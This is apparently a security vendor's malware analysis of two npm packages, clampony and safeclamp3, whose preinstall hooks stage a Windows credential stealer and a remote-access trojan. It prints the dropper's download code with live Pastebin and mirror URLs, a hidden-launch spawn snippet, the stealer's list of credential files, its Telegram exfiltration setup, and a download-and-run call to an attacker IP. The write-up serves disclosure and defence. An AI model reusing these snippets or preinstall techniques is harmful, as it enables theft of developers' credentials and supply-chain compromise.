clampony npm Dropper Stages a Windows Credential Stealer
On this page
Two npm packages, clampony and safeclamp3, copy a one-function utility that clamps a number between two values and add a preinstall hook. In clampony, that hook already downloads a credential stealer from Pastebin on every npm install. The stealer takes cloud keys, SSH keys, package registry tokens, saved FTP sessions, shell history and Telegram sessions from Windows machines, and uploads them to a Telegram bot. It also installs enterotoxin.exe, a remote-access trojan (RAT) that logs keystrokes and runs the operator’s commands. The npm package does not run the download yet, because the function that would run it is empty.
Both packages appeared on 24 November 2026 from two new accounts, tinafo6772 and felisox354, that own one package each. The accounts published 12 versions in 73 minutes and added the dropper step by step. The stealer on Pastebin is live and complete.
Affected packages
| Package | Account | Versions with a dropper | Last version | What preinstall does in the last version |
|---|---|---|---|---|
clampony | tinafo6772 | 1.0.1, 1.0.6, 1.0.7, 1.0.9, 1.0.10, 1.0.11 | 1.0.11 | Downloads the stealer, does not run it |
safeclamp3 | felisox354 | 1.0.7, 1.0.11 | 1.0.11 | Starts a hidden background Node process |
Every version ships the same index.js, a copy of hughsk/clamp(opens in new tab). The copies keep the original README and the MIT licence, with Hugh Kennedy’s name still in it. Both package.json files set "author": "Larno Karninsky". Neither package links a repository.
Timeline
- 00:03enterotoxin.exe built
PE timestamp of the RAT.
- 01:41safeclamp3 name reserved
felisox354publishes the0.0.0-stageplaceholder from npm’s staged publishing flow. - 01:44safeclamp3 1.0.2
A clean copy of
clamp. 1.0.3 follows at 01:52. - 02:03safeclamp3 1.0.7 adds preinstall
preinstallruns an emptysetup.js. - 02:12safeclamp3 1.0.11 tests a hidden launch
setup.jsstarts a detached child process that prints1. - 02:34clampony published
tinafo6772publishes the placeholder, then 1.0.1 with an emptysetup.jsat 02:36. - 02:49clampony 1.0.7 and 1.0.6 add the downloader
The download code is in place, with an empty URL list.
- 02:53clampony 1.0.9 names the stealer URLsFetches stealer
1.0.10 and 1.0.11 follow within 44 seconds.
- 04:22Stealer last modified on Pastebin
Both URLs serve the same 49,280-byte stealer.
npm published 1.0.7 of clampony before 1.0.6, so the version numbers are not in time order.
The preinstall dropper
clampony 1.0.11 adds one line to the copied package.json:
"scripts": {
"test": "node test",
"preinstall": "node setup.js"
},setup.js contains two URLs, a Pastebin paste and a mirror on calcal[.]ru. It requests both at the same time with fetch, keeps the first good response and aborts the other.
const { spawn } = require('node:child_process');
const { join } = require('node:path');
const { randomUUID } = require('node:crypto');
const { tmpdir } = require('node:os');
const { writeFile } = require('node:fs/promises');
const urls = [
'https://pastebin.com/raw/z6K1Rg8J',
'https://calcal.ru/p/t5edjvR/raw'
];The script then builds a random file name in the temp directory and passes it to run(). It never writes the downloaded bytes to that path, and run() is empty. The imports of spawn and writeFile have nothing to do yet.
const { data, index } = await Promise.any(tasks);
controllers.forEach((controller, i) => {
if (i !== index) controller.abort();
});
const filepath = join(tmpdir(), randomUUID());
return filepath;
} finally {
controllers.forEach(controller => controller.abort());
}
}
function run(filepath) {
}The versions show the order of work. 1.0.6 and 1.0.7 carry this downloader with urls = []. 1.0.9 fills in the URLs and changes nothing else.
const { randomUUID } = require('node:crypto');
const { tmpdir } = require('node:os');
-const urls = [];
+const urls = [
+ 'https://pastebin.com/raw/z6K1Rg8J',
+ 'https://calcal.ru/p/t5edjvR/raw'
+];
async function download() {
const controllers = urls.map(() => new AbortController());From 1.0.9 on, every install of clampony downloads the stealer and sends the installer’s IP address to both hosts. It does not run the stealer yet.
How safeclamp3 tests a hidden launch
safeclamp3 1.0.11 tests the step that clampony is missing. Its setup.js starts a second Node process, detaches it from npm, ignores its output and lets npm exit without waiting.
const { spawn } = require('node:child_process');
const path = require('node:path');
const child = spawn(
process.execPath,
[path.join(__dirname, 'ensure-tpm-antitamper.js')],
{
detached: true,
stdio: 'ignore'
}
);
child.unref();The file it starts, ensure-tpm-antitamper.js, holds only console.log(1). A clamp function has no reason to start a background process at install time. The two accounts publish the same code under the same fake author, and each tests one half of the dropper.
The Pastebin stealer
Both URLs returned the same file on 24 November: 49,280 bytes of JavaScript processed by obfuscator.io, SHA-256 ca2b7eced5937817b2aca2d50542d2e171bc95593be72a94c158616ed17a5334. The snippets below keep the obfuscated variable names, with the strings decoded and line breaks added.
The stealer runs only on Windows. It stops on any other platform.
'MCvni':'win32',
/* ... */
if(!CONFIG['token']||!CONFIG['chatId'])throw new Error('Missing Telegram bot token or chat ID');
if(_0x5a7459['VolSu'](process['platform'],_0x5a7459['MCvni']))throw new Error('Windows required!');VolSu is a wrapper for !==, so any platform other than win32 throws.
What it collects
The obfuscator left the target paths readable. They sit in the source as template literals with Windows environment variables. The stealer copies:
- Cloud and container credentials for AWS, Google Cloud, Azure, Kubernetes, Docker and Terraform.
- Package registry and git credentials in
.npmrc,.pypirc, Poetry’sauth.toml,.git-credentials, the GitHub CLI folder and.ssh. - Saved remote sessions from FileZilla, WinSCP and MobaXterm.
- Shell history from PowerShell, MSYS2 and Cygwin bash, zsh, fish, clink and nushell, plus the
hostsfile. - Telegram Desktop session data in
%APPDATA%\Telegram Desktop\tdata, including theD877F783D5D3EF8Cfolder. With it, the attacker can open the victim’s Telegram account on another machine.
'files':[String.raw`%USERPROFILE%\.aws\credentials`,String.raw`%APPDATA%\gcloud\credentials.db`,String.raw`%USERPROFILE%\.azure\accessTokens.json`,
String.raw`%USERPROFILE%\.azure\config`,String.raw`%USERPROFILE%\.kube\config`,String.raw`%USERPROFILE%\.docker\config.json`,How the stolen files leave the machine
The stealer copies the files into a temp folder whose name starts with files-staging-. It packs them into sysvolume.zip with tar.exe, and falls back to PowerShell’s ZipFile::CreateFromDirectory when tar.exe is missing. Archives up to 50 MB go to a Telegram bot with sendDocument, as exfil.zip with a file count in the caption. On each retry it switches between a direct connection and nine authenticated HTTP proxies. The snippet below redacts the bot token and the proxy credentials.
CONFIG={'token':'9249894009:[REDACTED]','chatId':0x1c74e3264,
'proxies':['http://[REDACTED]@160.116.1.30:8000','http://[REDACTED]@45.145.57.208:11928',
'http://[REDACTED]@85.195.81.159:11838','http://[REDACTED]@199.247.15.159:11409',0x1c74e3264 is chat ID 7638757988. Errors also go to the bot, with a stack trace, so failed runs reach the operator.
The enterotoxin.exe download
While it collects files, the stealer also runs a function named bringBeautifulGift. It downloads enterotoxin.exe from 195.123.6.29 over HTTPS, saves it to the temp folder under a random name and starts it hidden. A timer deletes the file 6 seconds later.
'kTdoG':'https://195.123.6.29:443/enterotoxin.exe',
/* ... */
_0x35e04d=path['join'](os['tmpdir'](),randomUUID()+'.exe');
/* ... */
await fs['writeFile'](_0x35e04d,Buffer['from'](await _0x49859f['arrayBuffer']())),
/* ... */
spawn(_0x35e04d,[],{'detached':!![],'stdio':_0x57ace3['Zliwz'],'windowsHide':!![]})['unref']();The address sits in a range that RIPE lists for Tranquila-Host Ltd (AS203826). No publicly trusted certificate for it appears in Certificate Transparency logs, and the stealer does not turn off certificate checks. Unless the host gets a valid certificate, Node would refuse the download. The host served the file on 24 November to a client that skipped the certificate check.
The enterotoxin.exe remote-access trojan
enterotoxin.exe is a RAT that poses as a Microsoft Store updater. It is a 64-bit Windows program of 352,256 bytes, SHA-256 48cf14560a8c2c5eaa984078cb345a81bc6d49d6695a06851499a3a31260aa91. It is not signed and not packed. Its PE timestamp is 2026-11-24 00:03 UTC, 98 minutes before the first safeclamp3 placeholder. No public report names the file, its hash or its network markers. The program names itself in its HTTP User-Agent, enterotoxin/0.1.
Installation and persistence
The Pastebin stealer starts enterotoxin.exe with no arguments. In that mode, the program copies itself to %LOCALAPPDATA%\Programs\Microsoft Store\MicrosoftStoreUpdaterV<n>.exe, adds four scheduled tasks and a Run registry value, and starts a second copy of itself with --agent.
$ strings -a -e l enterotoxin.exe | grep -E 'Ensure Updater|StoreUpdateMaintenance|Enterotoxin\\Agent|Programs\\Microsoft Store$|CurrentVersion\\Run'
%s\Programs\Microsoft Store
\MicrosoftSoftware\Ensure Updater
\Microsoft\Windows\WindowsUpdate\Ensure Updater
\Enterotoxin\Agent
\MicrosoftSoftware\StoreUpdateMaintenance
Software\Microsoft\Windows\CurrentVersion\RunThe same mode rewrites the shortcuts pinned to the Windows taskbar. Each shortcut keeps its icon, but its target becomes the agent with --payload and the original program as the argument. When the user clicks a pinned browser or editor, the agent starts first, then opens the original program, so the click works as before. The program skips pinned web links and shell: items. Its other modes, --scan, --recovery and --report, list, restore and report on the rewritten shortcuts.
Hiding from process monitors
The agent stops when someone looks for it. At start, it checks the running processes against a list of 12 program names. The list covers Task Manager, Resource Monitor, Performance Monitor, System Informer, Process Hacker and Process Lasso. It also covers Process Explorer and Process Monitor, with their 64-bit and ARM64 builds. If one of them runs, the agent exits. While it runs, a WMI subscription to new processes stops the agent when one of these tools starts. The scheduled tasks and the hijacked shortcuts start it again later.
$ strings -a -e l enterotoxin.exe | grep -E '^(taskmgr|procexp64|systeminformer)\.exe$|Win32_ProcessStartTrace'
taskmgr.exe
procexp64.exe
systeminformer.exe
SELECT * FROM Win32_ProcessStartTraceHow the agent takes commands
The agent takes commands from the same host that served it. It computes an ID from a SHA-256 hash of the machine’s MachineGuid and polls /enterotoxin/<id>/control over HTTPS. Each task arrives with a task ID and a runtime, python or batch. For Python tasks, the agent finds an installed interpreter through the registry and common install folders. Batch tasks run through cmd.exe. Each task runs in a job object with a time limit. The agent posts the exit code and the base64-encoded output to /enterotoxin/<id>/results.
$ strings -a -e l enterotoxin.exe | grep -E '^https://195|enterotoxin/%s/(control|results)|X-Enterotoxin-(Available|Runtime)|^(python|batch)$'
https://195.123.6.29:443
%s/enterotoxin/%s/control
X-Enterotoxin-Available-Slots: %lu
X-Enterotoxin-Runtime
%s/enterotoxin/%s/results
python
batchThe agent uses WinHTTP and keeps Windows certificate checks on. As with the download of enterotoxin.exe, its HTTPS tasking works only when 195.123.6.29 presents a certificate that Windows trusts.
A second channel connects to TCP port 13599 on the same address. Its handshake starts with the marker CHK1 and the version 0.1.0. The binary also contains the KCP reliable-transport library, which probably carries this channel. The message format of the channel is not decoded.
Keylogging and clipboard capture
The agent starts a keyboard hook and a clipboard listener without waiting for a task. Keystrokes go to events.ksp under an Enterotoxin\Keylogger folder, and collected data waits in a spool at %LOCALAPPDATA%\Microsoft\Store\UpdateCache\obj-*.spy for upload. The binary also contains screen capture code. No code path starts it directly, so the operator most likely starts it with a task.
How close the dropper is to running
The npm side still lacks two steps, writing the downloaded file to disk and starting it. safeclamp3 has already tested the second step. The two steps are a writeFile call and a spawn call, both already imported in 1.0.11, and the accounts ship new versions minutes apart.
The Pastebin stealer needs one more piece before it runs. It loads its HTTP client from the undici package.
const fs=require('node:fs/promises'),path=require('node:path'),os=require('node:os'),{randomUUID}=require('node:crypto'),
{spawn,execFile}=require('node:child_process'),{promisify}=require('node:util'),{fetch,Agent,ProxyAgent,FormData}=require('undici'),Node uses undici internally but does not expose it under that name. Node looks for undici in node_modules folders from the script’s own location upward, so a copy started from the temp directory would stop at require('undici'), even when the npm package installs undici. To close that gap, the operator has to change where or how the stealer loads, for example by saving it inside a folder that has undici installed, or change the paste. Because the stealer sits on Pastebin, the operator can change what it does without a new npm release.
As of 04:37 UTC on 24 November, neither package had a newer version, and both URLs still served the same file.
Am I affected?
Check your lockfiles and node_modules for either package. vet(opens in new tab) reports known malicious packages in a project.
$ vet scan -D .
$ grep -nE 'clampony|safeclamp3' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/nullIf you installed clampony 1.0.9 to 1.0.11, your network reached pastebin[.]com and calcal[.]ru. The stealer likely did not run. Remove the package and block both URLs.
If you installed a clampony or safeclamp3 version newer than 1.0.11 on Windows, treat the machine as compromised.
-
Rotate every credential in the list above. That includes cloud keys, registry tokens, SSH keys and the saved FileZilla, WinSCP and MobaXterm passwords. The keylogger also records passwords typed after the infection.
-
End all other Telegram sessions from Settings > Devices on a phone.
-
Look for
enterotoxin.exeand its persistence in PowerShell. The agent exits when Task Manager or a similar tool opens, but its files, tasks and shortcuts stay.>_Terminal $ Get-ScheduledTask | Where-Object { $_.TaskName -in 'Ensure Updater','StoreUpdateMaintenance','Agent' -and $_.TaskPath -match 'MicrosoftSoftware|WindowsUpdate|Enterotoxin' } $ Get-ChildItem "$env:LOCALAPPDATA\Programs\Microsoft Store" -Filter 'MicrosoftStoreUpdaterV*.exe' $ Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object 'MicrosoftStoreUpdater*' -
Check the targets of your pinned taskbar shortcuts. If a shortcut’s target is
MicrosoftStoreUpdaterV<n>.exewith--payload, the agent has rewritten it. Unpin it and pin the program again. -
Search proxy and DNS logs for
195.123.6.29(ports 443 and 13599), the nine proxy addresses andapi.telegram[.]orgtraffic from developer machines.
Indicators of compromise
| Row | type | value | package | context | first_seen_utc |
|---|---|---|---|---|---|
| 1 | npm_package_version | clampony@1.0.6 | clampony | preinstall downloader skeleton with an empty URL list | 2026-11-24T02:52:13Z |
| 2 | npm_package_version | clampony@1.0.7 | clampony | preinstall downloader skeleton with an empty URL list | 2026-11-24T02:49:34Z |
| 3 | npm_package_version | clampony@1.0.9 | clampony | preinstall downloads the Pastebin stealer on every install; run() empty | 2026-11-24T02:53:43Z |
| 4 | npm_package_version | clampony@1.0.10 | clampony | preinstall downloads the Pastebin stealer on every install; run() empty | 2026-11-24T02:54:15Z |
| 5 | npm_package_version | clampony@1.0.11 | clampony | preinstall downloads the Pastebin stealer on every install; spawn and writeFile imported; run() empty | 2026-11-24T02:54:27Z |
| 6 | npm_package_version | clampony@1.0.1 | clampony | preinstall wired to an empty setup.js | 2026-11-24T02:36:16Z |
| 7 | npm_package_version | safeclamp3@1.0.11 | safeclamp3 | preinstall starts a detached hidden Node process (placeholder payload) | 2026-11-24T02:12:11Z |
| 8 | npm_package_version | safeclamp3@1.0.7 | safeclamp3 | preinstall wired to an empty setup.js | 2026-11-24T02:03:34Z |
| 9 | npm_user | tinafo6772 | clampony | Publisher account (tinafo6772@bonuscable.com) | 2026-11-24T02:34:39Z |
| 10 | npm_user | felisox354 | safeclamp3 | Publisher account (felisox354@bcough.com) | 2026-11-24T01:41:59Z |
| 11 | url | https://pastebin.com/raw/z6K1Rg8J | clampony | Pastebin stealer download URL in setup.js (urls[0]) | 2026-11-24T02:53:43Z |
| 12 | url | https://calcal.ru/p/t5edjvR/raw | clampony | Pastebin stealer mirror in setup.js (urls[1]) | 2026-11-24T02:53:43Z |
| 13 | domain | calcal.ru | clampony | Pastebin stealer mirror host; A 178.209.127.98 on 2026-11-24 | 2026-11-24T02:53:43Z |
| 14 | sha256 | ca2b7eced5937817b2aca2d50542d2e171bc95593be72a94c158616ed17a5334 | clampony | Pastebin stealer: obfuscated JavaScript (49280 bytes) served by both URLs | 2026-11-24T04:22:10Z |
| 15 | sha256 | 10a47e65e492bda12bb634439976fd3c63df62d4ff6cb2297df3bcefe7cfbdff | clampony | setup.js in clampony 1.0.11 | 2026-11-24T02:54:27Z |
| 16 | sha256 | d25696da7a9cb1f550356c16189a57385937c4e1712261a0e3a6edcd7ad5cf3e | safeclamp3 | setup.js in safeclamp3 1.0.11 | 2026-11-24T02:12:11Z |
| 17 | url | https://195.123.6.29:443/enterotoxin.exe | Pastebin stealer | enterotoxin.exe download; saved to %TEMP%\<uuid>.exe and run hidden | 2026-11-24T04:22:10Z |
| 18 | ip | 195.123.6.29 | Pastebin stealer | enterotoxin.exe download host and RAT C2 | 2026-11-24T04:22:10Z |
| 19 | telegram_bot_id | 9249894009 | Pastebin stealer | Telegram bot that receives the stolen archive | 2026-11-24T04:22:10Z |
| 20 | telegram_bot_token | 9249894009:[REDACTED] | Pastebin stealer | Redacted; CONFIG.token in the Pastebin stealer | 2026-11-24T04:22:10Z |
Full list of affected versions
The list includes every version from both accounts, the placeholders and the clean copies too, because the same accounts control later releases.
| Row | Package | Compromised Versions |
|---|---|---|
| 1 | clampony | 0.0.0-stage, 1.0.1, 1.0.6, 1.0.7, 1.0.9, 1.0.10, 1.0.11 |
| 2 | safeclamp3 | 0.0.0-stage, 1.0.2, 1.0.3, 1.0.7, 1.0.11 |
Related reading
- Malicious wppconnect Release Steals Secrets and WhatsApp Sessions covers another npm stealer that sends stolen data to a Telegram bot.
- Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli covers a
preinstallhook that downloads and runs a remote script.
- supply-chain
- npm
- malware
- credential-stealer
- telegram
- threat-intel